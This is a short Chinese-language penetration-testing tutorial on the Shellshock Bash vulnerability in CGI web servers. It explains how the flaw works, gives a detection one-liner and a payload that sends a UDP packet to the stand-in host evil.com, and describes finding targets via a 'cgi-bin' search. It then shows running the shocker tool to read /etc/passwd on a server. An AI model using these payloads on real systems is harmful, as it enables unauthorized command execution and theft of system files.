渗透测试中shellshock攻击原理介绍以及条件使用
概念介绍
CGI(Common Gateway Interface)用于在Web服务器和应用程序之间传递信息。它允许Web服务器调用外部程序(通常是脚本),并将用户请求传递给这些程序,然后将程序生成的结果返回给用户。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
shellshock存在于Bash(Bourne Again SHell)软件中。这个漏洞允许攻击者通过构造特殊的环境变量,在受影响的系统上执行任意的Shell命令。Shellshock 漏洞曝露了许多Web服务器上运行的CGI脚本的风险,因为这些脚本可能会调用Bash解释器,并由于漏洞而受到攻击。
利用
Shellshock漏洞执行的条件
1、影响的 Bash 版本主要是在 1.14 到 4.3 之间
2、可以猜出/cgi-bin/下目录的文件;例如:/cgi-bin/test-cgi、/cgi-bin/test.sh、/cgi-bin/test.py、/cgi-bin/test.perl等等;
3、/cgi-bin/下的脚本文件通过系统环境变量调用bash的环境;
发现测试
env x=’() { : ;};echo vulnerable’ bash -c “echo test”
解释:
env x='() { : ;};echo vulnerable'
:这一部分定义了一个名为 x
的环境变量,其值是一个特殊构造的Shell函数。这个Shell函数被设计用于利用Shellshock漏洞。函数的主体是 echo vulnerable
,这部分代码会被漏洞利用。
'() { : ;}
:这部分是一个函数定义,它的名称是空字符串,紧接着是一对花括号 {}
。花括号内的内容是函数体,这里是 : ;
,表示一个空操作(:
是一个什么也不做的命令,;
是命令分隔符)。
由于函数的错误定义,在函数之后的命令会被执行。
() { :;}; echo 1 > /dev/udp/evil.com/53
如果服务器存在shellshcok漏洞,则evil.com的53端口会受到一个UDP包
Apache CGI脚本命令执行条件
(1)apacheWeb服务器
(2)mod_cgi需要开启
(3)有xxx.cgi脚本
(4)监听器能接收到连接
在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
而HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT来传递的。
目标发现
inurl:cgi-bin
CGI-BIN 目录是存放CGI脚本的地方。这些脚本使WWW服务器和浏览器能运行外部程序
利用工具
https://github.com/nccgroup/shocker
python2 shocker.py -H 127.0.0.1 --command "/bin/cat /etc/passwd" -c /cgi-bin/test.cgi |